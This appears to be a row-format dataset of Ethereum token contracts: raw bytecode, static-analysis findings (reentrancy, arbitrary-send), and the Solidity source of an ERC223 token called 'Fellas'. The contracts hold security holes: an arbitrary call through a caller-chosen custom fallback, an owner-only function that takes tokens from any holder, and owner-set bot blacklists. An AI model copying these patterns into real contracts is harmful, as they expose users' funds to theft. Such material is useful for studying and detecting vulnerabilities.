92915050565b6000610540848484610fbc565b610592843361058d85604051806060016040528060288152602001611c9a602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d6565b610e98565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016104fa90611b21565b60005b815181101561062e576000600560008484815181106105ea576105ea611b56565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611b82565b9150506105c9565b5050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104fa90611b21565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062e573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052d90611410565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104fa90611b21565b6107106000611494565b565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016104fa90611b21565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610529338484610fbc565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016104fa90611b21565b60005b815181101561062e57600c5482516001600160a01b03909116908390839081106107f2576107f2611b56565b60200260200101516001600160a01b0316141580156108435750600b5482516001600160a01b039091169083908390811061082f5761082f611b56565b60200260200101516001600160a01b031614155b156108a05760016005600084848151811061086057610860611b56565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108aa81611b82565b9150506107c6565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016104fa90611b21565b600c54600160a01b900460ff166109405760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fa565b600c805460ff60b81b1916600160b81b17905542600d8190556109659061012c611b9b565b600e55565b6000546001600160a01b031633146109945760405162461bcd60e51b81526004016104fa90611b21565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016104fa90611b21565b600c54600160a01b900460ff1615610a475760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fa565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611bb3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611bb3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba49190611bb3565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b81526004016104fa90611b21565b600f811115610c815760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fa565b600855565b6000546001600160a01b03163314610cb05760405162461bcd60e51b81526004016104fa90611b21565b6001600160a01b038116610d155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fa565b61051981611494565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6657610d66611b56565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611bb3565b81600181518110610df657610df6611b56565b6001600160a01b039283166020918202929092010152600b54610e1c9130911684610e98565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e55908590600090869030904290600401611bd0565b600060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610f5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166110825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b600081116110e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03831660009081526005602052604090205460ff161561118c5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fa565b6001600160a01b03831660009081526004602052604081205460ff161580156111ce57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e45750600c54600160a81b900460ff16155b80156112145750600c546001600160a01b03858116911614806112145750600c546001600160a01b038481169116145b156113c457600c54600160b81b900460ff166112725760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fa565b50600c546001906001600160a01b0385811691161480156112a15750600b546001600160a01b03848116911614155b80156112ae575042600e54115b156112f55760006112be846106ba565b90506112de60646112d8678ac7230489e8000060026114e4565b90611566565b6112e884836115a8565b11156112f357600080fd5b505b600d544203611322576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132d306106ba565b600c54909150600160b01b900460ff161580156113585750600c546001600160a01b03868116911614155b156113c25780156113c257600c5461138c906064906112d890600f90611386906001600160a01b03166106ba565b906114e4565b8111156113b957600c546113b6906064906112d890600f90611386906001600160a01b03166106ba565b90505b6113c281610d1e565b505b6113d084848484611607565b50505050565b600081848411156113fa5760405162461bcd60e51b81526004016104fa91906118f0565b5060006114078486611c41565b95945050505050565b60006006548211156114775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fa565b600061148161170a565b905061148d8382611566565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114f65750600061052d565b60006115028385611c58565b90508261150f8583611c77565b1461148d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b600061148d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061172d565b6000806115b58385611b9b565b90508381101561148d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b80806116155761161561175b565b60008060008061162487611777565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165190856117be565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168090846115a8565b6001600160a01b0389166000908152600160205260409020556116a281611800565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e791815260200190565b60405180910390a3505050508061170357611703600954600855565b5050505050565b600080600061171761184a565b90925090506117268282611566565b9250505090565b6000818361174e5760405162461bcd60e51b81526004016104fa91906118f0565b5060006114078486611c77565b60006008541161176a57600080fd5b6008805460095560009055565b60008060008060008061178c8760085461188a565b91509150600061179a61170a565b90506000806117aa8a85856118b7565b909b909a5094985092965092945050505050565b600061148d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b600061180a61170a565b9050600061181883836114e4565b3060009081526001602052604090205490915061183590826115a8565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118658282611566565b82101561188157505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189d60646112d887876114e4565b905060006118ab86836117be565b96919550909350505050565b600080806118c586856114e4565b905060006118d386866114e4565b905060006118e183836117be565b92989297509195505050505050565b600060208083528351808285015260005b8181101561191d57858101830151858201604001528201611901565b8181111561192f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051957600080fd5b803561196581611945565b919050565b6000806040838503121561197d57600080fd5b823561198881611945565b946020939093013593505050565b6000806000606084860312156119ab57600080fd5b83356119b681611945565b925060208401356119c681611945565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0057600080fd5b823567ffffffffffffffff80821115611a1857600080fd5b818501915085601f830112611a2c57600080fd5b813581811115611a3e57611a3e6119d7565b8060051b604051601f19603f83011681018181108582111715611a6357611a636119d7565b604052918252848201925083810185019188831115611a8157600080fd5b938501935b82851015611aa657611a978561195a565b84529385019392850192611a86565b98975050505050505050565b600060208284031215611ac457600080fd5b813561148d81611945565b60008060408385031215611ae257600080fd5b8235611aed81611945565b91506020830135611afd81611945565b809150509250929050565b600060208284031215611b1a57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9457611b94611b6c565b5060010190565b60008219821115611bae57611bae611b6c565b500190565b600060208284031215611bc557600080fd5b815161148d81611945565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c205784516001600160a01b031683529383019391830191600101611bfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5357611c53611b6c565b500390565b6000816000190483118215151615611c7257611c72611b6c565b500290565b600082611c9457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098b53666d8d33d3d8975a937c40caacaa5b4d0944fb069be05dba319603155b764736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 828 |
0xee3c72ff5c5a2db85777761fe32cc4c3182a4591 | pragma solidity ^0.4.23;
/*
$$$$$$$$\ $$\ $$\
$$ _____| $$ |$$ |
$$ | $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$$\
$$$$$\ $$ __$$\ $$ |$$ | \____$$\ $$ _____|
$$ __|$$$$$$$$ |$$ |$$ | $$$$$$$ |\$$$$$$\
$$ | $$ ____|$$ |$$ |$$ __$$ | \____$$\
$$ | \$$$$$$$\ $$ |$$ |\$$$$$$$ |$$$$$$$ |
\__| \_______|\__|\__| \_______|\_______/
*/
// SafeMath
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// Ownable
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// ERC223 https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// ContractReceiver
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
// Fellas
contract Fellas is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Fellas";
string public symbol = "FELLAS";
uint8 public decimals = 8;
uint256 public totalSupply = 50e9 * 1e8;
bool public mintingStopped = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintStopped();
constructor () public {
owner = 0x2ed3C80eD58332f0C221809775eA2A071c01661a;
balanceOf[owner] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
// transfer
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// approve
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// allowance
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
// burn
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMinting() {
require(!mintingStopped);
_;
}
// mint
function mint(address _to, uint256 _unitAmount) onlyOwner canMinting public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
// stopMinting
function stopMinting() onlyOwner canMinting public returns (bool) {
mintingStopped = true;
emit MintStopped();
return true;
}
// airdrop
function airdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
// airdropAmounts
function airdropAmounts(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
// collect
function collect(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633e3e0b12146102ed57806340c10f191461031c57806370a0823114610381578063873ebe6a146103d85780638da5cb5b1461049957806395d89b41146104f05780639dc29fac14610580578063a17feadb146105cd578063a9059cbb1461068e578063be45fd62146106f3578063c204642c1461079e578063dd62ed3e14610826578063f2fde38b1461089d578063f339292f146108e0578063f6368f8a1461090f575b600080fd5b34801561012357600080fd5b5061012c610a00565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa2565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610221610b94565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9e565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610f63565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610f7a565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b50610367600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b604051808215151515815260200191505060405180910390f35b34801561038d57600080fd5b506103c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b3480156103e457600080fd5b5061047f6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611282565b604051808215151515815260200191505060405180910390f35b3480156104a557600080fd5b506104ae61167f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fc57600080fd5b506105056116a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054557808201518184015260208101905061052a565b50505050905090810190601f1680156105725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058c57600080fd5b506105cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611747565b005b3480156105d957600080fd5b5061067460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506118ff565b604051808215151515815260200191505060405180910390f35b34801561069a57600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c8c565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b50610784600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611cd4565b604051808215151515815260200191505060405180910390f35b3480156107aa57600080fd5b5061080c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611d19565b604051808215151515815260200191505060405180910390f35b34801561083257600080fd5b50610887600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fee565b6040518082815260200191505060405180910390f35b3480156108a957600080fd5b506108de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612075565b005b3480156108ec57600080fd5b506108f56121cd565b604051808215151515815260200191505060405180910390f35b34801561091b57600080fd5b506109e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506121e0565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610bdc5750600082115b8015610c27575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610caf575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610cba57600080fd5b610d0c82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7382600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd857600080fd5b600660009054906101000a900460ff16151515610ff457600080fd5b6001600660006101000a81548160ff0219169083151502179055507f58e0e1f03176dfa647922b700f27e00bfa7f939db5a6fb7dd47cc6dcd3cf619c60405160405180910390a16001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a057600080fd5b600660009054906101000a900460ff161515156110bc57600080fd5b6000821115156110cb57600080fd5b6110e08260055461265890919063ffffffff16565b60058190555061113882600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e357600080fd5b600085511180156112f5575083518551145b151561130057600080fd5b60009150600090505b84518110156115de576000848281518110151561132257fe5b9060200190602002015111801561136757506000858281518110151561134457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b151561137257600080fd5b6113a06305f5e100858381518110151561138857fe5b9060200190602002015161267690919063ffffffff16565b84828151811015156113ae57fe5b906020019060200201818152505083818151811015156113ca57fe5b906020019060200201516007600087848151811015156113e657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561143857600080fd5b6114b8848281518110151561144957fe5b9060200190602002015160076000888581518110151561146557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b6007600087848151811015156114ca57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153c848281518110151561152357fe5b906020019060200201518361265890919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561156357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811015156115b257fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611309565b61163082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561173d5780601f106117125761010080835404028352916020019161173d565b820191906000526020600020905b8154815290600101906020018083116117205782900